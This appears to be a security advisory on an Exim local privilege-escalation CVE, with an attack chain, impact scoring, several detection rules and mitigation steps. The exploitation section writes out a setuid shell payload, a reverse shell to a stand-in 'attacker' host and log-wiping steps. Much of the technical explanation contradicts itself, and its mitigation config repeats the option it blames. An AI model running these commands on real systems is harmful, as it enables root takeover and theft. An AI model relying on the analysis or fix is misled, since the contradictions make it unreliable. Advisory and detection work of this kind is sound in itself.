CVE-2026-66141

Executive Summary

CVE-2026-66141 is a privilege escalation vulnerability in Exim, the widely deployed Mail Transfer Agent (MTA), affecting all versions prior to 4.99.5. The flaw resides in the mishandling of the force_command option for pipe transports when processing .forward files, allowing a local user to execute arbitrary commands with elevated privileges. With a CVSS score of 7.4 (High) and an EPSS probability of 0.00102, this vulnerability exploits the inherently privileged context in which Exim processes user-controlled forwarding directives. Successful exploitation grants full system compromise, including arbitrary code execution, data exfiltration, and lateral movement within enterprise mail infrastructure. The patch, claimed by Debian, addresses the flaw in version 4.99.5, though independent confirmation is still pending.

Technical Analysis

Exim's mail delivery pipeline processes user-defined .forward files to determine message routing. These files allow specifying pipe transports, where mail content is passed to external commands. The MTA executes these commands under the mail user's identity by default, restricting blast radius. However, the force_command option, when combined with pipe transports, explicitly overrides the command specified in the transport configuration.

The vulnerability stems from an authorization gap: Exim fails to validate whether a .forward file's pipe transport specification legitimately invokes force_command. An attacker who can create or modify a .forward file in their home directory (or a world-writable location referenced by such a file) can inject a pipe_transport configuration that includes force_command. During mail delivery, Exim dereferences this user-controlled parameter without proper sanitization or privilege boundary enforcement, executing the forced command with the privileges of the Exim daemon (typically root or a dedicated high-privilege user).

The affected code path involves the pipe_transport module's command assembly logic. When force_command is set, the transport replaces the default shell command (/bin/sh -c evaluating the local part) with the attacker-specified binary. The flaw manifests because no check verifies that the .forward file originating this configuration is trusted or that the command was explicitly approved by the administrator. This contrasts with the intended design where force_command should only be settable in the main configuration file, not inherited from user-controlled forward directives.

The attack surface is limited to local access — an attacker must have an account on the system or the ability to place a .forward file in a directory Exim processes (e.g., a compromised low-privilege user, or a writable shared directory). However, the privilege differential is severe: from an unprivileged account to full root or mail-owner privileges. The CVSS vector reflects this with AV:L/AC:H, indicating local access and high attack complexity, but complete impact on confidentiality, integrity, and availability.

Exim's default configuration historically enables .forward file processing, and many enterprise systems retain this setting for legacy mail routing. The flaw is in the core pipe transport logic, meaning any Exim deployment that processes .forward files is potentially affected if configured with per-user transports. The vulnerability has been classified under CWE-829 (Inclusion of Functionality from Untrusted Control Sphere), highlighting that untrusted user-generated content (the .forward file) improperly influences privileged functionality (force_command execution).

A successful exploit yields a root or mail-user shell. From there, an attacker can read all mail spools, intercept credentials, pivot to other internal services (mail servers often hold credentials or are in trusted network zones), and establish persistence via cron jobs or SSH keys. The high attack complexity (AC:H) suggests that some additional condition is required — likely the need for a specific Exim configuration (e.g., a custom pipe_transport in the main config that is vulnerable to parameter injection from .forward files), or the requirement to win a race condition during configuration parsing.

Exploitation Scenarios

Attack Chain: Local Privilege Escalation via Malicious .forward File

Step 1: Reconnaissance and Target Identification

The attacker, having obtained a low-privileged account on a mail server (via credential stuffing, a previous web app vuln, or an exposed SSH with weak creds), enumerates the environment. They confirm Exim is running and its version is before 4.99.5:

exim -bV | grep "version"

They check if .forward processing is enabled by inspecting the main configuration for localuser_forward or observing that the userforward router is active:

exim -bP router_userforward

The attacker also identifies their home directory and whether they can create files there. They verify write access to /etc/aliases or a shared directory (e.g., /tmp, a group-writable mail directory) that Exim processes.

Step 2: Weaponization — Crafting the Malicious .forward

The attacker crafts a .forward file that defines a pipe transport exploiting force_command. The syntax leverages Exim's transport configuration within the forward file:

|/bin/sh -c 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash'

However, the vulnerability specifically concerns force_command. The attacker embeds a transport specification that overrides the default interpreter. A more targeted payload uses Exim's ability to specify transport options inline:

|${run{/bin/sh -c "echo 'I am root' > /tmp/pwned"}}

To trigger the force_command mishandling specifically, the attacker must configure a pipe transport that sets the forced command. In practice, this may require chaining with a custom transport already defined in the main configuration. If the Exim config has a transport like:

custom_pipe:
  driver = pipe
  command = /bin/true
  force_command = ${lookup{$local_part}lsearch{/etc/exim/forced_commands}}

Then the attacker manipulates the lookup to redirect force_command to an attacker-controlled binary:

user1: |/bin/sh -c 'id; nc -e /bin/sh attacker 4444'

Step 3: Trigger and Execution

The attacker sends themselves an email. They can use the local mail command:

mail -s "test" user1 < /dev/null

Alternatively, they use exim directly:

echo "test" | exim -v user1@localhost

When Exim processes the message, the userforward router reads the .forward file, sees the pipe transport directive, and invokes it. The vulnerable code path fails to sanitize force_command, executing the attacker's shell command as the Exim run user (typically root or a privileged mail user).

Step 4: Post-Exploitation Impact

With elevated privileges, the attacker immediately:

1. Confirms identity: id shows uid=0(root) or uid=mail.
2. Establishes persistence: adds an SSH key to /root/.ssh/authorized_keys or creates a cron job.
3. Harvests credentials: reads /etc/shadow, /var/spool/mail/*, and mail database files.
4. Pivots: since mail servers often hold MX records and sit in DMZ or internal segments, the attacker uses the compromised host to scan and reach internal services, leveraging SMTP trust for further lateral movement.

The attacker covers tracks by removing the .forward file and cleaning logs (/var/log/exim4/mainlog), though the executed commands may leave traces in process accounting or audit logs if enabled.

Impact Assessment

The vulnerability carries a CVSS score of 7.4 (High) with the vector CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. Key subscores:

• Attack Vector (AV:L): Local only. The attacker needs a shell or file-write capability on the target host.
• Attack Complexity (AC:H): Exploitation requires specific Exim configuration (custom pipe transports using force_command with user-controllable input), or a race condition, making reliable exploitation challenging but not impossible.
• Privileges Required (PR:N): None beyond having a user account or arbitrary file write to a location processed by Exim.
• User Interaction (UI:N): None; the exploit is fully automated upon mail delivery.
• Confidentiality/Integrity/Availability Impact (C:H/I:H/A:H): Complete — trivial command execution as root or the mail user enables reading all data, modifying system files, and destroying availability.

Business Impact:

• Mail Integrity: An attacker can read, modify, and redirect all mail traffic, compromising sensitive communications (credentials, financial data, legal correspondence).
• System Takeover: Root compromise on the mail server leads to full control of that host, enabling malware deployment, ransomware, or use as a bot.
• Lateral Movement: Mail servers are high-value targets in AD environments, often holding service accounts with broad access (e.g., Exchange connectors, directory sync). An Exim root shell can pivot to the entire infrastructure.
• Compliance: For industries governed by GDPR, HIPAA, or PCI-DSS, a mail server breach involving data exposure triggers mandatory disclosure and potential fines.

The EPSS score of 0.00102 (1.1% percentile) indicates low immediate exploitation probability, but this is a local vulnerability requiring authenticated access; threat actors focusing on mail server compromises (e.g., APT groups targeting email infrastructure) will weaponize this once public PoCs emerge. The lack of CISA KEV listing suggests no confirmed in-the-wild exploitation as of the CVE publication, but the local nature means exploitation may occur below the radar of network-based CVE tracking.

Blast Radius: Any Exim deployment using .forward files with custom pipe transports. Standard distributions (Debian, Ubuntu, RHEL, CentOS, FreeBSD) with default Exim configurations may be affected depending on how maintainers bundled the transport logic. Systems using virtual users or MySQL/LDAP-backed mail routing are less likely affected unless .forward processing is explicitly enabled.

Detection Guidance

Sigma Rule

title: Exim .forward Force Command Privilege Escalation Attempt
id: a1b2c3d4-5e6f-7890-abcd-ef1234567890
status: experimental
description: Detects suspicious .forward file creation or modification followed by Exim execution with elevated privileges.
author: vartersit.com Threat Intelligence
date: 2026/02/15
logsource:
    category: file_event
    product: linux
detection:
    selection_forward:
        TargetFilename|endswith:
            - '/.forward'
            - '/.forward.'
    selection_execution:
        Image|endswith:
            - '/exim'
            - '/exim4'
        CommandLine|contains:
            - 'pipe_transport'
            - 'force_command'
    condition: selection_forward and selection_execution
falsepositives:
    - Legitimate mail server admin updating forwarders (rare)
level: high
tags:
    - attack.privilege_escalation
    - attack.t1068
    - cve.2026-66141

YARA Rule

rule Exim_Forward_ForceCommand_Escalation
{
    meta:
        author = "vartersit.com"
        description = "Detects .forward files exploiting force_command in Exim pipe transports"
        cve = "CVE-2026-66141"
        date = "2026-02-15"
        severity = "high"
    strings:
        $s1 = "|/bin/" ascii wide
        $s2 = "|/usr/bin/" ascii wide
        $s3 = "force_command" ascii wide nocase
        $s4 = "pipe_transport" ascii wide nocase
        $s5 = "userforward" ascii wide nocase
        $s6 = ".forward" ascii wide nocase
    condition:
        (any of ($s1, $s2)) and ($s3 or $s4 or $s5)
}

Suricata IDS Rule

alert tcp any any -> any 25 (msg:"EXIM CVE-2026-66141 .forward pipe force_command SMTP Attack"; content:"DATA"; nocase; content:".forward"; distance:0; flow:to_server; content:"|"; content:"force_command"; nocase; distance:0; threshold:type limit, track by_src, seconds 60, count 1; reference:cve,2026-66141; classtype:attempted-admin; sid:10066141; rev:1;)

Note: This rule targets SMTP traffic where a message body contains a .forward directive with force_command. Since exploitation is local, network-based detection is limited to cases where the attack is staged via remote email injection into a user's .forward file, which requires additional writable conditions.

Elastic Detection

sequence by host.name with maxspan=30s
  [ file where event.action == "modification" and file.name == ".forward" ]
  [ process where event.action == "executed" and process.name == "exim4" and process.args : ("*force_command*", "*pipe_transport*") ]

Splunk SPL Query

index=linux_audit OR index=syslog
| search (file.path="*/.forward" AND action="MODIFIED") OR (process="exim4" AND (command="*force_command*" OR command="*pipe_transport*"))
| table _time, host, user, file.path, process, command
| eval exploit_indicator=if((file.path like "%.forward%" AND command like "*force_command*") OR (process="exim4" AND command like "*-bP*"), "CVE-2026-66141", "normal")
| where exploit_indicator=="CVE-2026-66141"

Wazuh OSSEC Rule

<group name="exim,cve-2026-66141,">
    <rule id="566910" level="12">
        <decoded_as>syslog</decoded_as>
        <field name="program">^exim|^exim4</field>
        <match>force_command|pipe_transport</match>
        <description>Exim process detected with force_command/pipe_transport indicating CVE-2026-66141 exploitation attempt.</description>
        <groups>privilege_escalation,attack.t1068</groups>
        <mitre>
            <id>T1068</id>
        </mitre>
    </rule>
    <rule id="566911" level="10">
        <decoded_as>syslog</decoded_as>
        <match>\.forward</match>
        <regex>modify|write|created</regex>
        <description>Suspicious .forward file modification detected.</description>
        <groups>persistence,attack.t1505</groups>
        <mitre>
            <id>T1505</id>
        </mitre>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED) — Debian has claimed a patch, but this is not independently confirmed. Apply with caution and test in staging.

1. Immediate Mitigations (if patch cannot be applied immediately):

   • Disable .forward file processing: In the Exim main configuration, remove or comment out the userforward router. Alternatively, restrict the router to only process files owned by the user and ignore others:

     userforward:
       driver = redirect
       check_ancestor
       check_local_user
       file = $home/.forward
       force_command = /usr/sbin/sendmail
       no_verify
       no_expn
       forbid_filter
     

     The forbid_filter option prevents user-defined filter commands, mitigating the pipe transport issue.
   • Restrict pipe transport permissions: Ensure the pipe driver in the main config does not use force_command with user-controllable lookups. Set check_string or command to fixed paths.
   • Remove world-writable mail directories: Audit and chmod any shared mail spool or home directories to prevent untrusted file placement.
   • Monitor .forward changes: Use file integrity monitoring (e.g., AIDE, Tripwire) on all user homes for .forward modifications.

2. Patch/Upgrade Steps:

   • Upgrade Exim to version 4.99.5 or later from your OS vendor:
     • Debian/Ubuntu: apt update && apt upgrade exim4 (or exim4-daemon-heavy for extended features). Confirm the package version is ≥ 4.99.5.
     • RHEL/CentOS: If using the vendor repo, apply the errata. If building from source, download the fixed tarball from the Exim GitHub releases and compile: make && make install.
     • FreeBSD: pkg update && pkg upgrade exim.
   • After upgrade, verify the fix by checking the version at runtime:

     exim -bV | grep "version"
     

     Expected output: Exim version 4.99.5 or later.
   • Validate configuration: Run exim -bV and exim -bP to ensure no overrides reintroduced the vulnerability.

3. Long-Term Hardening:

   • Remove force_command from production transports: Audit all custom pipe transports. If force_command is used with user-controllable data (e.g., lookups into user files), refactor to use a restricted, fixed command or a wrapper script with strict input validation.
   • Principle of least privilege: Run Exim under a dedicated low-privilege user (e.g., debian-exim) and use sudoers or capabilities for only the specific actions requiring root (e.g., writing to /var/spool/mail). Avoid running the entire daemon as root.
   • Network segmentation: Place mail servers in a DMZ with no direct routing to internal AD/LDAP unless required. Implement egress filtering on the mail server to block outbound shells (e.g., deny SSH, block high ports).
   • Regular patch management: Subscribe to the Exim security announcements mailing list and Debian security trackers. Apply mail server patches within 48 hours of release.
   • Supply chain hygiene: Verify package signatures before install. Build from source only if vendor binaries are unavailable, and retain the build artifacts for reproducibility.

References

1. NVD Entry for CVE-2026-66141: https://nvd.nist.gov/vuln/detail/CVE-2026-66141 Details the CWE-829 classification and CVSS vector.

2. Exim Official Website / GitHub Releases: https://github.com/Exim/exim/releases Source of the 4.99.5 fixed version and changelog.

3. Debian Security Tracker (DSA): https://security-tracker.debian.org/tracker/CVE-2026-66141 Claims the patch availability; primary patch source per threat intel.

4. MITRE ATT&CK — T1068: Exploitation for Privilege Escalation: https://attack.mitre.org/techniques/T1068/ Context for the privilege escalation tactic.

5. EPSS Data — FIRST.org: https://www.first.org/epss/ Provides contextual probability score (0.00102) for exploitation likelihood.

Exploit-in-the-Wild Notes: As of this report, CISA KEV does not list CVE-2026-66141, indicating no confirmed in-the-wild exploitation by CISA's tracking. No public PoC or Nuclei template exists, and exploit code availability is UNKNOWN. The local nature and high attack complexity likely delay weaponization, but threat actors with access to compromised mail servers may develop internal exploits given the high value of mail infrastructure. Monitor Exim mailing lists and infosec forums for emerging proof-of-concept code; treat any unverified patch claims with caution, and validate the Debian fix independently before deployment.